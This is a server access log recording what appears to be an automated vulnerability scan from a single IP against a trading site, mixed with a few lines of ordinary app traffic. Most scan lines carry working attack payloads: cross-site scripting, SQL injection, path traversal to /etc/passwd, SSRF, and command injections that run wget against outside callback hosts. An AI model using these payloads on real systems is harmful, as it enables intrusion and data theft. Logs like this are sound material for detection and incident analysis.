[09/Jan/2026:10:51:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /KeepAlive.jsp?stamp=%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/1.1" 196
[09/Jan/2026:10:51:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST / HTTP/1.1" 196
[09/Jan/2026:10:51:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?server=db&username=root&db=mysql&table=event%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1" 3426
[09/Jan/2026:10:51:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /openam/oauth2/..;/ccversion/Version HTTP/1.1" 196
[09/Jan/2026:10:51:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?action=command&command=set_city_timezone&value=$(wget%20http://d5g6sfahausljekepl20bo39zedm1d1g9.oast.site)) HTTP/1.1" 3426
[09/Jan/2026:10:51:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /wp-admin/admin-ajax.php HTTP/1.1" 196
[09/Jan/2026:10:51:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /appliance/login.ns?login%5Bpassword%5D=test%22%3E%3Csvg/onload=alert(document.domain)%3E&login%5Buse_curr%5D=1&login%5Bsubmit%5D=Change%20Password HTTP/1.1" 196
[09/Jan/2026:10:51:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/uploads/workreap-temp/380Cy9RowTOEph7HeYVT8ORQeie.php HTTP/1.1" 196
[09/Jan/2026:10:51:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /lua/.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2ffind_prefs.lua.css HTTP/1.1" 196
[09/Jan/2026:10:51:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /service/v1/service-details HTTP/1.1" 196
[09/Jan/2026:10:51:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /titan-framework/lib/iframe-font-preview.php?font-type=google&font-family=aaaaa&font-weight=%27%20onerror=alert(document.domain)%20b=%27 HTTP/1.1" 196
[09/Jan/2026:10:51:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/experimental/patternfile?order=id%3Bselect(md5(999999999))&page=0&page_size=0 HTTP/1.1" 196
[09/Jan/2026:10:51:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?rest_route=/wc/store/products/collection-data&calculate_attribute_counts[0][query_type]=or&calculate_attribute_counts[0][taxonomy]=%252522%252529%252520union%252520all%252520select%2525201%25252Cconcat%252528id%25252C0x3a%25252c%252522sqli-test%252522%252529from%252520wp_users%252520where%252520%252549%252544%252520%252549%25254E%252520%2525281%252529%25253B%252500 HTTP/1.1" 3426
[09/Jan/2026:10:51:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /man.cgi?redirect=setting.htm%0d%0a%0d%0a<script>alert(document.domain)</script>&failure=fail.htm&type=dev_name_apply&http_block=0&TF_ip0=192&TF_ip1=168&TF_ip2=200&TF_ip3=200&TF_port&TF_port&B_mac_apply=APPLY HTTP/1.1" 196
[09/Jan/2026:10:51:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.asp HTTP/1.1" 196
[09/Jan/2026:10:51:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /admin/index.php?p=ajax-ops&op=elfinder&cmd=mkfile&name=380CxzBomjvyKHMl0VGQsR8PdBF.php&target=l1_Lw HTTP/1.1" 196
[09/Jan/2026:10:51:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /if.cgi?redirect=setting.htm&failure=fail.htm&type=ap_tcps_apply&TF_ip=443&TF_submask=0&TF_submask=%22%3E%3Cscript%3Ealert%28380CxotrO3U5D6Pet4Yszhh6hoD%29%3C%2Fscript%3E&radio_ping_block=0&max_tcp=3&B_apply=APPLY HTTP/1.1" 196
[09/Jan/2026:10:51:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /gespage/doDownloadData?file_name=../../../../../Windows/debug/NetSetup.log HTTP/1.1" 196
[09/Jan/2026:10:51:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /tc.CBS.Appl/tcspseudo HTTP/1.1" 196
[09/Jan/2026:10:51:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /status.htm HTTP/1.1" 196
[09/Jan/2026:10:51:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/paid-memberships-pro/js/pmpro-checkout.js HTTP/1.1" 196
[09/Jan/2026:10:51:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /admin/elfinder/elfinder-cke.html HTTP/1.1" 196
[09/Jan/2026:10:51:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /forum/index.php?SQ=0&t=search&srch=380Cy3pHNqpZbVCdMHzeQIU3K7P&btn_submit=Search&field=all&forum_limiter&attach=0&search_logic=AND&sort_order=REL&author=x\"+onmouseover%3Dalert%28document.domain%29+x%3D%22 HTTP/1.1" 196
[09/Jan/2026:10:51:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/configure/set_link_neg?LD_DEBUG=help HTTP/1.1" 199
[09/Jan/2026:10:51:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /confluence/pages/createpage-entervariables.action?SpaceKey=x HTTP/1.1" 196
[09/Jan/2026:10:51:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST / HTTP/1.1" 196
[09/Jan/2026:10:51:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /autodiscover/autodiscover.json?@test.com/owa/?&Email=autodiscover/autodiscover.json%3F@test.com HTTP/1.1" 196
[09/Jan/2026:10:51:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?Express=aaaa&autoEscape&defaultFilter=e%27);var+require=global.require+%7C%7C+global.process.mainModule.constructor._load;+require(%27child_process%27).exec(%27wget%20http://d5g6sfahausljekepl20nndwhgfwqg7cy.oast.site%27);// HTTP/1.1" 3426
[09/Jan/2026:10:51:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /search.php?search=%22;wget+http%3A%2F%2Fd5g6sfahausljekepl20kw1dynz5spe66.oast.site%27;%22 HTTP/1.1" 196
[09/Jan/2026:10:51:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /pme/database/pme/phinx.yml HTTP/1.1" 196
[09/Jan/2026:10:51:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /backup2.cgi HTTP/1.1" 196
[09/Jan/2026:10:51:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /?Command=NOOP&InternalFile=../../../../../../../../../../../../../../Windows/win.ini&NewWebClient=1 HTTP/1.1" 196
[09/Jan/2026:10:51:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nacos/v1/cs/ops/derby?sql=select+st.tablename+from+sys.systables+st HTTP/1.1" 196
[09/Jan/2026:10:51:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /hsqldb%0a HTTP/1.1" 199
[09/Jan/2026:10:51:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /owa/auth/frowny.aspx?app=people&et=ServerError&esrc=MasterPage&te=\\&refurl=}}};alert(document.domain)// HTTP/1.1" 196
[09/Jan/2026:10:51:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /vendor/curl/curl/tests/server/php-curl-test/post_file_path_upload.php?key=<img%20src%20onerror%3dalert(document.domain)> HTTP/1.1" 196
[09/Jan/2026:10:51:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /Images/Remote?imageUrl=https://oast.me/ HTTP/1.1" 196
[09/Jan/2026:10:51:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /adserver/www/delivery/lg.php?dest=http://interact.sh HTTP/1.1" 196
[09/Jan/2026:10:51:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /webtools/control/SOAPService HTTP/1.1" 196
[09/Jan/2026:10:51:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /rewe/prod/web/rewe_go_check.php?config=rewe&version=7.5.0%3cscript%3econfirm(380Cy5cIO7zYXu6fCSxkTTeGLZX)%3c%2fscript%3e&win=2707 HTTP/1.1" 196
[09/Jan/2026:10:51:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.jsp?operatorlocale=%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/1.1" 196
[09/Jan/2026:10:51:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /nacos/v1/cs/configs?dataId=nacos.cfg.dataIdfoo&group=foo&content=helloWorld HTTP/1.1" 196
[09/Jan/2026:10:51:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /realms/master/clients-registrations/openid-connect HTTP/1.1" 196
[09/Jan/2026:10:51:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /log/view?filename=/etc/passwd&base=../../../../../../../../../../ HTTP/1.1" 196
[09/Jan/2026:10:51:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/get_device_details HTTP/1.1" 196
[09/Jan/2026:10:51:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /adminer/index.php HTTP/1.1" 196
[09/Jan/2026:10:51:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /widgets/knowledgebase?topicId=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1" 196
[09/Jan/2026:10:51:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.%00/WEB-INF/web.xml HTTP/1.1" 226
[09/Jan/2026:10:51:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /appGet.cgi?hook=get_cfg_clientlist() HTTP/1.1" 196
[09/Jan/2026:10:51:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /ajaxPages/writeBrowseFilePathAjax.php HTTP/1.1" 196
[09/Jan/2026:10:51:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /goform/formWsc HTTP/1.1" 196
[09/Jan/2026:10:51:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /tools.cgi HTTP/1.1" 196
[09/Jan/2026:10:51:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //interact.sh/%2f.. HTTP/1.1" 196
[09/Jan/2026:10:51:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cfide/scripts/ajax/package/cfajax.js HTTP/1.1" 196
[09/Jan/2026:10:51:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /cgi/networkDiag.cgi HTTP/1.1" 196
[09/Jan/2026:10:51:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /security/hostSignon.do?hostSignOn=true&servProvCode=k3woq%22%5econfirm(document.domain)%5e%22a2pbrnzx5a9 HTTP/1.1" 196
[09/Jan/2026:10:51:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ui_base/js/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd HTTP/1.1" 196
[09/Jan/2026:10:51:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wfo/control/signin?rd=%2Fwfo%2Fcontrol%2Fmy_notifications%3FNEWUINAV%3D%22%3E%3Ch1%3ETest%3C%2Fh1%3E26 HTTP/1.1" 196
[09/Jan/2026:10:51:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "PUT /SDK/webLanguage HTTP/1.1" 220
[09/Jan/2026:10:51:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /module/ph_simpleblog/list?sb_category=')%20OR%20true--%20- HTTP/1.1" 196
[09/Jan/2026:10:51:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /druid/indexer/v1/sampler?for=connect HTTP/1.1" 196
[09/Jan/2026:10:51:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?host=http://0177.0.0.1/server-status HTTP/1.1" 3426
[09/Jan/2026:10:51:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /\\u001B]8;;https://interact.sh\"/onmouseover=\"alert(1)\\u0007example\\u001B]8;;\\u0007 HTTP/1.1" 226
[09/Jan/2026:10:51:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /module/smartblog/archive?month=1&year=1&day=1%20UNION%20ALL%20SELECT%20NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,(SELECT%20MD5(55555)),NULL,NULL,NULL,NULL,NULL,NULL,NULL--%20- HTTP/1.1" 196
[09/Jan/2026:10:51:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /page/1%22%3E%3Csvg/onload=alert(document.domain)%3E HTTP/1.1" 196
[09/Jan/2026:10:51:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /menu/stc HTTP/1.1" 196
[09/Jan/2026:10:51:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /jeecg-boot/actuator/httptrace/ HTTP/1.1" 196
[09/Jan/2026:10:51:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /LoadFrame?frame_name=x&src=x&single_signout=x%27%3E%3C/iframe%3E%3Cscript%3Ealert(1)%3C/script%3E HTTP/1.1" 196
[09/Jan/2026:10:51:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /jeecg-boot/sys/user/querySysUser?username=admin HTTP/1.1" 196
[09/Jan/2026:10:51:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /concat?/%2557EB-INF/web.xml HTTP/1.1" 196
[09/Jan/2026:10:51:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-admin/profile.php HTTP/1.1" 196
[09/Jan/2026:10:51:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /login?next=\\\\\\interact.sh HTTP/1.1" 196
[09/Jan/2026:10:51:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /pentaho/api/userrolelist/systemRoles?require-cfg.js HTTP/1.1" 196
[09/Jan/2026:10:51:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:51:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /http_header.php HTTP/1.1" 196
[09/Jan/2026:10:51:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wps/PA_WCM_Authoring_UI/proxy/http/oast.me HTTP/1.1" 196
[09/Jan/2026:10:51:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /redfish/v1/SessionService/Sessions/ HTTP/1.1" 196
[09/Jan/2026:10:51:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /webmail/basic/?referer=https://interact.sh&_c=auth&ctz=120&signup_password&_a%5bsignup%5d=1 HTTP/1.1" 196
[09/Jan/2026:10:51:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:51:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /OpenAM-11.0.0/ui/PWResetUserValidation HTTP/1.1" 196
[09/Jan/2026:10:51:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /controller/origemdb.php?idselorigem=ATIVOS HTTP/1.1" 196
[09/Jan/2026:10:51:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /vendor/phpfastcache/phpfastcache/docs/examples/phpinfo.php HTTP/1.1" 196
[09/Jan/2026:10:51:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /sample-apps/hello/%2f/ HTTP/1.1" 196
[09/Jan/2026:10:51:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /system/refinery/images/W1siZyIsICJjb252ZXJ0IiwgIi1zaXplIDF4MSAtZGVwdGggOCBncmF5Oi9ldGMvcGFzc3dkIiwgIm91dCJdXQ== HTTP/1.1" 196
[09/Jan/2026:10:51:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /Assets/temp/hotspot/img/logohotspot.txt HTTP/1.1" 196
[09/Jan/2026:10:51:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /_ignition/execute-solution HTTP/1.1" 196
[09/Jan/2026:10:51:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cliniccases/lib/php/data/messages_load.php?type=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1" 196
[09/Jan/2026:10:51:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:51:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /te%3Cimg%20src=x%20onerror=alert(42)%3Est HTTP/1.1" 199
[09/Jan/2026:10:51:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /wp-content/plugins/wpcargo/includes/380CxmYj1umc4n8Xbfr7Mp8ZV4J.php?1=var_dump HTTP/1.1" 196
[09/Jan/2026:10:51:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /wsman HTTP/1.1" 196
[09/Jan/2026:10:51:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /tweb/ft.php?u=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1" 196
[09/Jan/2026:10:51:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /visualizza_tabelle.php?anno=2021&tipo_tabella=prenotazioni&sel_tab_prenota=tutte&wo03b%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3Ew5px3=1 HTTP/1.1" 196
[09/Jan/2026:10:51:39 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:51:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /dashboardUser HTTP/1.1" 196
[09/Jan/2026:10:51:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-admin/admin-ajax.php?action=a9f6b7f8df7490f515d0c2f9be773f4d HTTP/1.1" 196
[09/Jan/2026:10:51:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:51:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /login/ HTTP/1.1" 196
[09/Jan/2026:10:51:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:51:39 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:51:40 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:51:40 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:51:40 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927369230 HTTP/1.1" -
[09/Jan/2026:10:51:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /icons/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/etc/passwd HTTP/1.1" 226
[09/Jan/2026:10:51:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST / HTTP/1.1" 196
[09/Jan/2026:10:51:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /reset/IjEi.YhAmmQ.cdQp7CnnVq02aQ05y8tSBddl-qs HTTP/1.1" 196
[09/Jan/2026:10:51:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /_ignition/execute-solution HTTP/1.1" 196
[09/Jan/2026:10:51:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /plugins/servlet/svnwebclient/statsItem.jsp?url=%3Cscript%3Ealert(document.domain)%3C%2Fscript%3E HTTP/1.1" 196
[09/Jan/2026:10:51:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php HTTP/1.1" 196
[09/Jan/2026:10:51:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wan.htm HTTP/1.1" 196
[09/Jan/2026:10:51:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST / HTTP/1.1" 196
[09/Jan/2026:10:51:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/geojson?url=file:///etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:51:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /sitecore/shell/ClientBin/Reporting/Report.ashx HTTP/1.1" 196
[09/Jan/2026:10:51:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /api/v1/login/oauth2/auth HTTP/1.1" 196
[09/Jan/2026:10:51:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:51:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /CF_SFSD/scripts/ajax/package/cfajax.js HTTP/1.1" 196
[09/Jan/2026:10:51:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /lostpassword.php/n4gap%22%3E%3Cimg%20src=a%20onerror=alert(%22document.domain%22)%3E HTTP/1.1" 196
[09/Jan/2026:10:51:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /viewlog.jsp HTTP/1.1" 196
[09/Jan/2026:10:51:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /homeaction.php HTTP/1.1" 196
[09/Jan/2026:10:51:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /GallerySite/filesrc/fotoilan/388/middle//.%252e/.%252e/.%252e/.%252e/.%252e/.%252e/.%252e/etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:51:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /NetBiblio/search/shortview?searchField=W&searchType=Simple&searchTerm=x%27%2Balert%281%29%2B%27x HTTP/1.1" 196
[09/Jan/2026:10:51:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST / HTTP/1.1" 196
[09/Jan/2026:10:51:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.//WEB-INF/classes/META-INF/microprofile-config.properties HTTP/1.1" 196
[09/Jan/2026:10:51:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /install.php?page=1 HTTP/1.1" 196
[09/Jan/2026:10:51:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /auth/logout?continue=//interact.sh HTTP/1.1" 196
[09/Jan/2026:10:51:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/userrolelist/systemRoles?require-cfg.js HTTP/1.1" 196
[09/Jan/2026:10:51:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /storia_soldi.php?piu17%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3Ee3esq=1 HTTP/1.1" 196
[09/Jan/2026:10:51:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/slogin/login.py HTTP/1.1" 199
[09/Jan/2026:10:51:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /action.php HTTP/1.1" 196
[09/Jan/2026:10:51:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /icons/.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd HTTP/1.1" 226
[09/Jan/2026:10:51:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /autodiscover/autodiscover.json HTTP/1.1" 196
[09/Jan/2026:10:51:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /plugins/wordpress_sso/pages/index.php?wordpress_user=%3Cscript%3Ealert(1)%3C/script%3E HTTP/1.1" 196
